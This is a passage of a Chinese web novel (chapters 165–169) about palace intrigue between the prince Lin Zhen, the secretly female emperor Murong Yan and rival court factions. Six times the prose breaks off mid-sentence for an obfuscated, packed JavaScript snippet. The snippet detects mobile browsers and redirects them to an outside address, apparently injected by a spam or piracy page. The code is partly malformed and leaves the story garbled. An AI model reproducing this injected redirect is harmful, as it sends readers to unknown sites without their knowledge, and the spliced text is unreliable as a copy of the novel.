林臻轻轻颔首,二人一前一后,谭武刻意落后半步,几乎是用陪同的态度,陪林臻穿行于曲折蜿蜒的回廊之中,最终抵达气势恢宏的正堂。 待坐定之后,二人对视一眼,各有心思。 林臻心中暗自盘算,谭武此人狡黠多智,恐怕不会被轻易说服,至于能否顺利见到索立文,更是未知数。 因此,他摒弃了官场常见的繁文缛节,直接切入正题,开门见山地道:“本世子今天来,是希望 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789297|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 谭大人可以帮个忙。” 可能谭武也未料到林臻会如此直截了当,不由微微一愣:“哦?不知道世子有什么事情?” “我要见索立文。” 果然,这话一出,谭武的脸色倏地阴沉下来,仿佛乌云蔽日:“世子殿下,索立文乃是陛下亲自圈定的重犯,若无陛下圣旨,下官实在难以从命。” “不能通融通融?” “不能。” 好强硬的态度啊。 很难想象顾家派系的人里居然也有这样的硬骨头。 难道自己今天要无功而返了? 林臻微微侧身,用半威胁的口吻说道:“倘若我非要见他呢?” “那就请世子带兵,从下官的尸体上踏过去。” 有点意思。 这谭武不对劲啊。 难道说他是得了慕容嫣的什么好处?打算从此以后和慕容嫣统一战线? 还是说,慕容嫣抓住了他什么小辫子,让他不得不这样呢? 此事背后,定有隐情,绝非表面上那么简单。 带兵硬闯大理寺是不可能的,林臻还不至于缺心眼到这个地步。 但今日无功而返,还是让他有些不爽。 也罢,今日本就没指望能在此地捞到什么好消息,大不了日后寻个时机,向慕容嫣讨来一道旨意,再作计较。 林臻站起来,皮笑肉不笑对谭武说道:“谭大人,我们来日方长。” 谭武直视着林臻,也说了句:“来日方长。” 两人对视了将近一分钟,谭武的面容始终如一,没有丝毫波动。 林臻见状,转身欲走。 然而,就在他转身的刹那,前方的道路上突然出现了几个太监,他们脚步匆匆,神色焦急。为首之人,正是慕容无舌。他一见林臻,立刻用那种早朝时特有的洪亮嗓音高呼道:“世子啊!老奴终于找到您了!” 慕容无舌急的如热锅上的蚂蚁,几乎是小跑到来到林臻面前:“世子,陛下急召您入宫!” 林臻面带疑惑:“可有说是什么事情?” 慕容无舌看了看站在一边的谭武,对林臻轻声说道:“世子,人多眼杂,我们还是出去说吧。” “嗯。”林臻点了点头,回身目光饱含深意地看了看谭武,跟着无舌离去。 第165章 讨厌~和人家这么心有灵犀 马车之内,太阳顺着车窗投射进来的光影,在茶台上来回摇曳。林臻与慕容无舌对面而坐,气氛凝重。后者缓缓开口,再次细述了在顾家所见所闻。 果然不出林臻所料,正是顾北辰暗中勾结天道杀手,意图绑架张俪。 至于为什么是将张俪绑走而不是暗杀,林臻认为,其目的就是顾北辰想对她严刑拷打,然后再玷污,以此满足他那扭曲的报复快感。 念及此景,林臻怒火中烧,双拳紧握,虎目圆睁仿佛要喷出火来。 这个狗东西,竟敢对我的女人下手,这回老子非让你知道知道什么叫残忍。 林臻那冷冽如霜的目光仿佛利刃,直射向慕容无舌,令后者心中不由自主地泛起一股难以名状的寒意。 心道,好恐怖的眼神啊。 幸亏他不会武艺,否则自己都要正当防卫了。 林臻的声音低沉地问道:“你是说,陛下有意嘉奖那些地方官吏?” 慕容无舌闻言,身形微躬:“正是,但老奴觉得不妥。” “确实不妥,陛下也太心急了些。”林臻接过话头,语气中带着几分无奈与忧虑,“王爷已经派人去辽东调查了,这些官吏究竟是真心赈济灾民,还是假公济私、趁机中饱私囊,不出数日,必有确凿消息传来。” “陛下年少掌权,根基不稳,朝中能依靠的顾家如今也与陛下渐渐离心离德,所以陛下着急拉拢地方官员的支持也在情理之中,毕竟.”慕容无舌话语一顿,后半截话硬生生咽了回去。 其实林臻心里很清楚,这一切无非是因为林家权势滔天,令龙椅上的那位心生忌惮,所以慕容嫣才会这么做。 她不懂朝政,不通人心,这么做可以理解。 但慕容无舌伺候了三位皇帝,是正儿八经的三代元老,眼光还是很毒辣、清楚的,他深知林家忠良之性,断无谋逆之心,所以待之总比顾家多了几分宽容与信任。 只不过这种话,从一个宦官口中说出来,慕容嫣根本不会信。 更何况他今日贸然打断慕容嫣的言辞,已经让她感到很不爽了。 步伐匆匆,直奔议政殿而去。此刻,慕容嫣正与吏部一众大臣商讨着如何论功行赏,激励地方官员。正当会议进行之际,慕容无舌悄无声息地步入大殿。 “陛下!林臻到了。” 慕容嫣长舒口气,胸脯随着那口幽香缓缓落下,紧锁的黛眉在这一刻如春水初融,舒展无痕:“这个家伙,可算是来了。宣。” “遵旨,传太子少保林 臻,上殿觐见。” 林臻踏着沉稳而有力的步伐步入大殿,每一步都显得从容不迫。 尚未及行礼,便闻慕容嫣的声音响起:“林臻,你来看看草拟的官员名单.” 林臻在吏部众官员的注视下,竟是丝毫不顾及慕容嫣的颜面,直言不讳地道:“陛下,臣不用看了,臣一个也不同意。” 言毕,殿内气氛一时微妙,慕容嫣眸中闪过一抹意外,却也未露愠色。“朕还没说是什么呢。” “陛下欲嘉奖那些在赈灾一事中立下汗马功劳的地方官员,可对?” 慕容嫣轻轻颔首,心说,总算是和这个讨厌的家伙心有灵犀一回。 “正是,此番辽东水患得以妥善处置,地方官吏功不可没。他们的辛劳,实乃国之大幸,民之福祉。如今,百姓们心怀感激,纷纷在河岸边高声颂扬陛下圣明,万岁之声此起彼伏,响彻云霄,此情此景,蔚为壮观,确实该奖。” 林臻继续保持强硬的态度,挺直腰板,目光坚定地对她说道。 “陛下,臣不同意。” “为何?” 此言一出,吏部上下,尚书、侍郎、郎中诸官,皆是一愣,随即几乎是异口同声地向林臻发难。 “世子,此乃陛下圣裁,岂是你我能轻易置喙的?” “世子所言差矣,辽东水灾得以平息,百姓感念陛下之恩,实乃地方官员之功,难道不值得嘉奖吗?” “下巴没毛,办事不牢。你小小年纪,莫要插手朝堂大事,还是速速退去吧。” “别因为一点小事,毁了摄政王府的清誉!” 林臻的目光缓缓扫过眼前这群人,心说,果然都是顾家派系的官员,像吏部尚书罗文就是顾云霆的铁杆。此番地方官员贪墨之事,只怕也有他们暗中庇护的影子。 唉,皇权之下,群臣欺瞒圣听,贪腐之风愈演愈烈,百姓生计艰难,再这么下去辽东百姓非造反不可。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789298|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 林臻无意与这群满身污垢的假夫子争辩,他的目光转向一旁已显怒色的慕容嫣。 “陛下,辽东水灾的救治情况究竟如何?您可去看过?” 慕容嫣闻此一言,面上闪过一丝怔忡,旋即便恢复了常态。 “没有,也不可能。倘若地方上稍有风吹草动,便需朕亲力亲为,那朝廷养着的那些官员岂不成了摆设?”言罢,她目光灼灼地望向林臻。 “所以陛下是从奏折上得到的信息,对吧?” 慕容嫣点头,但还是不知道林臻到底想说什么。 此时,林臻的脸上浮现出一抹难以名状的无奈,他先是一声轻叹,仿佛有千斤重担压在心头,而后缓缓开口。 “唉,陛下,您先让诸位大人退下可好?” 礼部侍郎宋毅一听,当即不乐意了,他指着林臻大吼道:“林臻!你有什么话还怕我们听不成?” 此言一出,吏部一众官员亦是群情激愤,纷纷将矛头转向了林臻。 “就是,为何要将我们赶走?” “莫非你欲借此良机欺瞒圣上?” “陛下,老臣不同意!” 林臻本就怒火中烧,此刻见吏部这些官员竟还敢如此放肆,更是气不打一处来,当即怒喝道:“放肆!宋毅,你区区一个靠祖上蒙阴才干上来的三品官,有什么资格在本世子面前耀武扬威?还敢对我直呼其名!你真是好大的胆子!” 林臻的话可谓一针见血。 宋毅被他骂得浑身哆嗦,好像有一口浓痰堵在嗓子眼里,憋得脸色涨紫,半晌说不出话来。 他确实根本就没什么政绩,全靠祖上蒙阴与先帝宠幸才做到今天这个位置,而他能继续担任吏部侍郎,其背后也有顾家的支持影子。 此刻被林臻一语道破,心中虽愤恨难平却也无可奈何,只能暗自羞愤,无地自容。 “陛下.” “咳咳。”慕容嫣干咳两声,也略有不喜地看向宋毅:“宋爱卿,这里是议政殿,要注意言辞。” “是微臣知罪,可是陛下,老臣绝不同意您与世子单独相处,他惯会忽悠人,如果因为此事将地方官员的功勋抹去,那以后谁还会尽心尽力地为陛下,为朝廷办事啊!” 第166章 朕浑身无力了呢 林臻冷笑道:“可笑至极!若是不予奖赏便懈怠渎职,这样的官员,不用也罢。 宋毅不甘心地反问道:“世子殿下!倘若您真心实意为国家、为百姓做了一件大好事,却只因旁人的阻挠而不得彰显,难道您的心中,就没有一丝一毫的不满吗? 林臻回答得铿锵有力:“当然不会!我身为王府世子,保家卫国、造福黎庶,本就是义不容辞之责,何来埋没之说? 宋毅冷笑一声,语气中带着几分讽刺:“呵,说得轻巧,你已官至极品,位极人臣。即便是陛下有心嘉奖,怕也是无从赏起。可那些身居下位、勤勉奉公的官员们呢?你就不为他们考虑吗? “若他们确实勤勉奉公,造福于民,我非但不会阻拦,反而会助他们一臂之力,甚至我可以亲自向陛下举荐,让他们得以施展才华,为国效力。但如果他们欺瞒圣上,据实不报,导致百姓怨声载道,饿殍遍野呢? 宋毅跳着脚地喊:“不可能!!! 慕容嫣饶有兴致地旁观着两人的激烈争辩,忽见林臻轻轻转过身来,目光笃定地望向她,缓缓道。 “陛下,关于辽东的真实境况究竟如何,您派百骑司调查一下便知!倘若宋大人所言非虚,辽东百姓果真是幸福安康,臣甘愿领受任何责罚。 慕容嫣从未见过林臻为了一个尚未确定的事实,愿意将自己置于如此险地。 有点意思。 难道说,下面的官员真的据实不报,欺瞒圣听? 慕容嫣对于官场中的那些龌龊之事向来不解。在她的世界里,皇权至高无上,官员们无一不心怀敬畏,断不敢有丝毫欺君之念,更应恪守职责,勤勉于国家的治理。 可一旦这种幻想被打破,那她以后将对所有官员失去信任。 除了林臻。 因为这件事情是林臻指出来的。 那么他非但不是先帝口中那狼子野心的奸佞之徒,也绝非顾北辰所描绘的那般人品低劣。相反,他是一位心怀天下、为民请命的好世子。 慕容嫣自己都不知道,她正在被林臻悄悄改变着,一个月后,也正是林臻的正直与勇敢,如同荒漠中的甘泉,滋润了她对群臣的那颗几近枯萎的信任之心。 如此,慕容嫣的世界,因林臻的出现而重新焕发了生机,她对官场的认知,也开始悄然发生变化。在信任的废墟上,她正尝试着用新的眼光,去审视每一位官员,去寻找那些如同林臻一般,能够真正为国为民奉献的忠臣良将。 那宋毅知不知道 地方上的事情? 他当然知道。 即便他没亲眼所见也知道官场里的规矩。 这是一件大家都心照不宣的事情如今林臻却胆敢在大庭广众之下提出来还撺掇慕容嫣派遣百骑司前去探查。 这和中央调查组下基层有什么区别? 四不两直直到我头上来了!! 不行绝不能让陛下派百骑司下地方否则我这些人全都得完蛋! “陛下.” 林臻都把自己前途赌上了若慕容嫣还对宋毅抱有盲目的信任那就是彻头彻尾的傻子! 显然慕容嫣还没傻到家她当机立断厉声打断了宋毅的言辞冷声道:“住口!朕心中也有决断你们先退下吧。” “这唉。臣等告退。”宋毅满心悲凉发出一声沉重的叹息随即向慕容嫣深深行了一礼领着吏部一众官员匆匆离去。 他深知自己必须得赶紧去找顾云霆否则一旦百骑司将消息带回众人便将陷入万劫不复之地。 等所有人都退了出去堂中就剩下林臻独孤的身影。 但是在这瞬间慕容嫣觉得他的身形竟如此伟岸。 她怅然地叹了口气浑身无力的靠在椅背上。 “林臻你真的认为是下面的官员欺骗了朕吗?” 林臻倒没像慕容嫣那样有什么特别的感受只淡淡地点头说道:“肯定是。” 慕容嫣紧握双拳指尖因用力而泛白她的情绪激动难抑声音中夹杂着难以名状的愤懑:“朕也不曾亏待他们他们为何如此” 言及此处她猛地抬起螓首那双璀璨的眼眸中两道凛冽的杀意如寒光乍现响彻大殿的是她愤怒至极的呼喊:“来人!” “命百骑司即刻启程星夜赶往辽东务必详查百姓受灾真相。此行务必隐秘任何风声不得泄露归来之时需据实以报不得有丝毫隐瞒。” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789299|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> “是!”百骑司的精英领命而去脚步匆匆大殿内再次归于沉静。 慕容嫣的目光重新落回案头的奏折之上这一次她拿起的是关于楚国送粮的消息。 “林臻楚国已经把前十天的粮食送来了区区两千斤而已来送货的贩夫耻笑大乾鼠目寸光真是气煞人也。朕就不明白这么好的机会你为何偏偏要粮食呢?还要得这么少。” 林臻早就猜到慕容嫣会对此不解只是没想到她忍到现在才问。 没错这笔账对他们来说不是那么容易就能算清楚的 容嫣在内。 前十天确实很少,但后续呢?如果楚国真有实力送一个月的粮食,那可就是十亿多斤!别说小小的辽东水灾,就是全国水灾,百姓们靠每人一百斤的粮食也能活很久! 但很明显,楚国不会那么傻,最多也就到第二十天,他们就该反应过来了。 林臻笑了笑对慕容嫣说道:“陛下,这只是前十天的粮食而已,您再耐心等待十天,且看楚国给不给我们送。” “什么意思?” “您看,本来第十天是一千斤左右的粮食,但第十一天就是两千斤,第十二天就是四千斤,第十三天八千斤,算到第二天就已经是一百万斤粮食了,算上之前的累计,就是二百万斤粮食。” 林臻边说,慕容嫣眼中边发出道道金光,不由的惊呼道。 “啊?如果按这么算下去,那到第三十天,起码会有上千万斤的粮食啊!林臻,这是真的吗?” “呵呵呵呵。”林臻不由地嘲笑道:“陛下想多了,楚国能送到第二十天的量就已经是极限了,他们宁可背负不守信用的骂名,也不可能坚持到第三十天的,所以您还是别想了。” 慕容嫣想想觉得也对。 “唉,说的也是。不过白得二百万斤粮食对大乾来讲无异于是雪中送炭。林臻,这件事情算你大功一件!” “微臣不敢请功。” 慕容嫣刚想说你装什么装,就见慕容无舌走了进来。 “启禀陛下,礼部尚书董仲康求见。” 慕容嫣闻言,心说坏了! 纳妃的这一天,终于还是要来了! 第167章 陛下快消消气吧,否则又要崩开了呢 董仲康今年得有六十岁了于朝臣之中算得上是资历深厚的前辈。 所以不管是林震仙还是顾云霆都对这位老臣很是尊敬尤其是顾云霆屡次设法想要将这位老臣纳入自己的阵营然而董仲康却始终如一不为权势所动。 直至顾北辰在风云变幻中大放异彩后才凭借非凡的魅力让董仲康甘愿归心继续担任礼部尚书的位置。 礼部的活儿很杂涵盖了像外交啊祭祀啊制定礼仪规范啊等等工作像这次慕容嫣大婚就是由礼部主导经办的。 其中董仲康硬是从百忙之中抽出时间专门负责这件事情 究其原因就是他的孙女终于有机会可以入宫了当不当贵妃无所谓只要能混个贵人的名头他的家族从此便可以高枕无忧稳如泰山。 百官之中除却那位特立独行的林震仙几乎每家每户都怀揣着与他同样的心思。只要能借此东风将自家闺女或者孙女送入皇宫便有望让家族更进一步就连顾云霆也不例外。 他膝下有一侄女名曰顾缜乃其胞弟顾云松之掌上明珠芳龄恰至及笄。若能成为皇帝的枕边人那顾家的情况将会迅速好转起来威望也将逐渐恢复。 当然除了想让家族进取的心思之外百官还是因为上次慕容嫣崩开扣子的事情对她的性别有所怀疑所以大家都想知道此时坐在龙椅上的人究竟是皇子还是公主。 正当此时董仲康手持一卷文书衣襟随风微扬步履匆匆步入大殿对着高坐之上的慕容嫣恭敬下拜一举一动间尽显臣子之礼。 “臣董仲康拜见陛下。” “董爱卿平身。” “谢陛下。” 董仲康缓缓起身目光落在静立一旁的林臻身上嘴角勾起一抹温文尔雅的笑意轻轻颔首道:“世子也在。” 林臻回以礼貌性地点头:“董大人。” 慕容嫣知道他来准没好事所以语气也略带不爽。 “董爱卿可有事情?” 董仲康微微欠身语气恭谨:“回禀陛下关于陛下的大婚事宜已择定吉日。三日之后将启动选秀之仪;十日之后焚香祭祖以告天地;十五日后便是大婚盛典。” 林臻像看好戏似的心中暗自窃笑目光不时掠过慕容嫣那张已近乎咬牙切齿的绝美面庞。 慕容嫣强压下心头怒火从牙缝间艰难挤出几个字每一个字都仿佛带着冰霜。 “太着急了吧?” “陛下,时至夏末尾声,若大婚之典再拖延下去,便是秋收繁忙之时。届时无论是百姓还是朝臣,都将迎来一年中最为繁重的时节。而冬日里,白雪皑皑,寒风凛冽,实非举办婚庆之吉日。故而,老臣与一众同僚慎重商议,并特邀钦天监精心择定良辰,方有此提议。” 慕容嫣回首,便看到林臻像个水蚂蚱似的,双脚不住轻点,双臂紧紧环抱胸前,一副得意洋洋、难掩雀跃之态。 可恶的家伙,你嘚瑟什么? “林臻,你觉得呢?”林臻未曾料到,慕容嫣竟会征询自己的意见,他愕然转头,正对上她那张因内心愤懑而渐渐染上绯红的绝美面庞。 心说,坏了,肯定是自己看好戏被她抓到了。 林臻赶紧作揖:“回陛下,臣不懂婚事,但觉得董大人所言在理。” 言罢他与董仲康对视一眼,都看到彼此眼中的善意。 慕容嫣最讨厌下面官员眉来眼去的,但又不好发作,导致原本已趋于平缓的胸膛,再度因情绪波动而起伏不定。 嬛嬛站在她身边看的心惊肉跳。 陛下啊!您快消消气吧,奴婢今天就给您缠了两圈,可千万别崩开呀! 不是皇宫里找不到合适的胸围子,而是慕容嫣嫌紧,又厚又热,所以只让嬛嬛缠两圈,这下可好,眼看着就要崩开了! “陛下.”嬛嬛轻步上前,纤手轻拾起龙案上温润如玉的茶杯,递至慕容嫣面前,语态温婉地提醒道:“累了一上午,喝口茶润润吧。” 她眼中含笑,又以眼色示意。 慕容嫣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789300|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心领神会,连忙做了两个深呼吸,情绪终于有所好转,轻啜一口茶后,她缓缓开口,声音中带着一丝不解。 “董爱卿,你说三天后选秀,那为何还有草拟入宫秀女的名单送进来?难道不是等朕去选吗?” 董爱卿闻言,恭敬地回答道:“陛下,此番先行入宫者,皆为朝中股肱之臣的嫡亲贵女,此为彰显陛下对功臣之家的体恤与恩典,亦是对未来后宫稳定的一种考量。例如顾相家的顾缜,御史大夫家的司马春雷等等。至于选秀,则是为了彰显陛下皇恩浩荡,所以要从京中低级官员以及地方官员家的女子中进行挑选。” 慕容嫣咬着贝齿:“选几个?” “这件事全凭陛下做主,但按照先帝习惯,是一个州郡最少一位。” “也就是说,除了重臣家的女子外,朕最少还要挑选三十位?” “是。” 慕容嫣猛地一拍桌案,怒目圆睁:“你当朕是种马吗?” 董仲康闻言,吓得脸色煞白,膝盖一软,“哐当”一声跪倒在地,颤声言道:“陛下!臣惶恐,臣万万不敢有此念想啊,陛下!” 林臻暗地里偷笑。 慕容嫣这脾气发的没道理啊,可怜这位老实人了。 慕容嫣见林臻一副看好戏的心态,皮笑肉不笑地冷声道:“林臻,你很喜欢笑是吧?” “啊?没有啊。”林臻一时语塞,赶忙否认。 “好啊,等大婚当日,朕就让你笑个够!” 林臻心头一紧。 坏了。 这娘们不会要让我替她去伺候那些后宫妃子吧? 顾北辰的气运真的转嫁到了我的身上了? 别介啊!这口子一旦打开,别人还好说,那司马春雷就必定是被伺候的其中之一啊! 只要想到一个像泰森似的女人坐在自己肚皮上.哕!大姐,我求求你,不要啊! “陛下,臣想起家中还有事情,先行告退。” “不许走!” 第168章 慕容嫣又崩了 “不许走!” 林臻刚要开溜却被慕容嫣一声断喝拦下紧接着她转向董仲康说道:“董大人你的安排朕已知晓并无不妥之处你先回吧。” “谢陛下!那臣这就去安排选秀与大婚的事情了!” 董仲康还以为自己把慕容嫣惹生气了呢现在一看惹她老人家生的是林臻啊! 那我就管不了了。 董仲康脚步轻快几乎是小跑着离开了议政殿独留尴尬抠脚的林臻站在那里。 慕容嫣缓缓起身龙袍轻扬复又优雅落座对林臻轻轻一勾玉指。 “过来。” “陛下微臣”林臻欲言又止神色忐忑。 “过来!”慕容嫣眉宇间闪过一丝威严林臻无奈只好硬着头皮小步趋前。 来到龙台上慕容嫣伸出葱白的手指了指自己的脖颈:“给朕按按肩。” 林臻一愣。 什么意思? 想装男人啊? 满朝文武就我知道你的真实身份你跟我装什么装? 慕容嫣再次瞪着杏眼看他:“怎么?你敢抗旨?” “没有没有只是臣手法一般。” 林臻手法一般那这世界上就没有手法好的了。 但他还是乖乖地来到慕容嫣身后双手捏住她纤细软糯的肩膀一下一下地揉捏。 “嗯~~” 慕容嫣舒爽地闭上眼睛将头靠在椅背上仰面朝天心安理得的享受着来自摄政王世子的按摩。 “林臻你知不知道现在满朝文武都在怀疑朕的身份?” “臣知道。” “那你看朕像女子吗?” “额” 面对这样的问题林臻心中涌起一股莫名的情绪那情绪复杂难言像是被细密的针扎了一下轻轻刺痛。 原本这场景或许并无异样只是在这静谧的空间里空气似乎都凝固了让每一个细节都被无限放大。 慕容嫣在按摩后领口不经意地微微敞开那细腻的贴身衣物绣着五爪金龙在淡淡的灯光下若隐若现透出一种难以言喻的雅致与隐秘的诱惑。 而那束胸紧紧地将她的胸部包裹硬是将丰盈的曲线勒成了扁平的两个圆饼。 慕容嫣闭目养神沉浸在自我的世界里对这细微的变化毫无察觉。而林臻就站在她的上方看得很清晰。 见林臻不说话慕容嫣这才睁开美眸。 两人目光对视 没有言语,位置一高一低,形成了一种微妙的视觉张力,如同舞台上聚光灯下的焦点,却又各自保持着一份矜持和距离。 就在这片刻的沉默中,时间仿佛静止了一般,只有彼此的心跳声在耳边清晰可闻。 慕容嫣的心跳很快,扑通扑通的,快得让她自己都感到惊讶。那是一种难以抑制的悸动,宛若林间小鹿在她心田间里肆意奔跑,撞得她满心都是温柔与慌乱。 但她没有躲避,她就是想通过林臻的嘴来向百官证明,自己就是男儿身。 只可惜,即便她极力掩饰,眼底那抹细腻而复杂的情愫还是被林臻捕捉到了。 这位女子心中交织着对未来的重重忧虑,以及那份不屈不挠、刚中带柔的坚韧。两人的目光在空中交汇,仿佛穿越了时间的长河,静静地对峙了数个世纪。 终于,林臻的声音温柔而坚定,打破了这份静谧:“像。 慕容嫣闻言,恍若从一场迷离梦境中惊醒,猛地坐直身体。 指尖掠过衣襟,抚平每一处细微的褶皱。 最后,她轻轻攥紧衣领,以一种近乎逃避的姿态往前坐了坐,声音里夹杂着颤抖:“林臻你你先回去吧。 “遵旨。林臻的回答简洁而恭敬,他缓缓步下龙台,每一步都踏得沉稳而决绝,背影渐渐拉长,直至完全消失在慕容嫣的视线之外。 而龙椅上,那位端庄威严的女子久久不能回神。 她不知道自己刚才在林臻眼中看到了什么。 是心疼? 也或许是宠溺? 但她可以肯定的是,她能闻到林臻呼出来的空气,能体会到林臻手掌的温度,更能感受到那份从未体会过的温柔。 天呐,自己这是怎么了? 慕容嫣用手背摸了摸自己的脸,只觉好烫好烫,像是有一颗悸动的火苗在缓缓燃烧,顺着脸颊,一直烧到心房。 就在此时,一个清晰脆响的声音自背后传来。 砰—— 扣子崩开了。 嬛嬛赶紧上前说道:“陛下,该回宫了。 慕容嫣点点头,在她的搀扶下离开议政殿。 回到寝宫里,嬛嬛依旧抱怨道:“陛下,幸好扣子崩开的时候林臻没看到,您也太不小心了。 慕容嫣鬼使神差地说了一句:“没事的。 “还没事呢!得亏您之前把宫里的丫鬟太监换了个遍,否则今天就出大事情啦!您快坐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14789301|158057||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下,奴婢给您解开。 慕容嫣静静地坐在梳妆台前,神情 有些呆滞,任由嬛嬛轻巧的手指穿梭于她的衣袍之间,缓缓解开系带,展露出她光洁无瑕的美背,宛如上好的美玉,找不到一丝瑕疵。 嬛嬛手法熟练地解下束胸,细心地为她重新系上柔软的肚兜,再一层层将衣物仔细穿好。 “陛下,奴婢退下了。” “嗯。” 慕容嫣缓缓拿起铜镜,映照出自己那张倾国倾城的脸庞,只是那精致的五官间,却有两道略显突兀的胡须,破坏了这份纯美。 她不由地蹙起眉头,显得有些烦躁,指尖轻轻一抹,那胡须便应声而落,随后她刻意放大了呼吸声,深吸一口气,再缓缓吐出。 “嘶呼.这才是真正的我呀” 此时,顾府。 顾家没有自己的地牢,所以只能把雷影仙子捆好了锁在库房里。 顾云霆回来后先问了顾北辰的伤势如何,大夫说没有大碍,只是失血过多需要休息而已。 于是乎,这位愤怒的父亲便在顾南山的陪同下来到了库房,准备好好审讯下这个胆大包天的女子。 推开门,只见地上只有光秃秃的一捆绳子,和四敞大开的窗户,哪里还有半个人影? 顾云霆大怒,杀意的眼睛回头射向顾南山:“人呢!??” 顾南山也面露疑惑:“这老奴也不知道啊!” “谁捆的绳子!?” 两个家丁颤颤巍巍地走过来,扑通一声跪下:“老爷!我们冤枉啊!我们是捆好了把她扔进去的!” “谁来过库房!?” “没看到有人进去啊!” 顾南山当即说道:“老爷,这个妖女一定是用缩骨功挣脱的绳子!” “缩骨功?他奶奶的.”顾云霆恨得直咬牙。 一个险些杀了儿子的妖女,竟被她给跑了! “传令!命白袍义从暗地里搜捕天道成员!宁可杀错,不可放过!” “是!” 顾云霆看向依旧跪在地上的两个家丁,神色一凛:“你们俩自己滚到香山去看祖坟。” “是” 顾云霆愤恨地一甩衣袖,直奔顾北辰的房间。 而望着他背影的顾南山却露出阵阵冷笑。 他想起雷影仙子临走前对他说的那句话。 “从此,天道欠你个人情。” 第169章 奇怪的拜火教大本营 花开两朵各表一枝。 且说刘翰阳一家子成功躲避曹雄的追杀后在拜火教信徒的护送下终于到达河间也就是后世名声显赫的沧州地区。 此地作为大乾王朝南疆的一座重要城池城墙巍峨耸立如巨龙蜿蜒城区辽阔无垠周遭村落星罗棋布宛如点点繁星环绕着皎洁的明月。 只是自一年前开始河间县的四座城门之上竟突兀地多出来一面神秘的大旗不是守将的姓氏也不是太守的名讳而是一个奇异难解的符号仿佛是由无数干柴杂乱无章的堆砌而成又似熊熊烈焰腾空而起既神秘莫测又带着一股不容忽视的炽热气息让人远远见到就有种阴森恐怖的感觉。 而这里就是拜火教的大本营。所谓大本营实则是指城中那座巍然矗立、气势恢宏的建筑——袄神楼。 袄神楼占地面积极大建筑高耸入云装饰之辉煌影响之深远无一不彰显着其显赫地位。 刘翰阳曾经也是大乾重臣常年出入皇宫、宗祠、庙宇等地但当他第一次目睹这座宏伟壮观的建筑时仍不由自主地被其深深震撼。 其规格已经远远超过了皇宫被称为大乾第一建筑也不为过。 刘翰阳一家站在大门口透过半开的门缝往里面看里面来回走动的竟然全都是身穿白色长袍的波斯人他们胸膛前绘着熊熊燃烧的火焰图案仿佛诉说着古老而神秘的故事。 他们皮肤或黑或白身材很高大健壮唯独没有看到汉人的身影甚至也没有女人。 刘翰阳轻轻捋着下巴上略显花白的胡须眼眸中闪烁着异样的光芒感叹道:“想不到大乾之内 在他身后成熟的妻子、正值豆蔻年华的闺女以及几位姿色各异的小妾紧紧相依眼神中既有对未知的恐惧也有对家族复仇的渴望。 此外家族中的那些七大姑八大姨连同她们各自的眷属也一并站立形成一个庞大的阵仗。 没办法因为刘翰阳斗争失败家族罹难昔日那些与刘家联姻的官宦之家生怕被牵连纷纷急不可耐地递上休书撇清关系。 故而当刘翰阳踏上逃亡之路时这些亲戚们也毫不犹豫地跟随其后毕竟谁不渴望一份安稳无忧的生活呢? 老妻唐氏双手微微颤抖紧紧拽着刘翰阳的衣袖眼中满是忐忑与期盼:“老爷我们以后会住在这里吗?” 刘翰阳轻轻点头,目光坚定:“没错,这就是我们以后的栖息之所!” “天呐,这里好大好大啊。” 其他亲属也纷纷展露笑颜,惊叹不已。 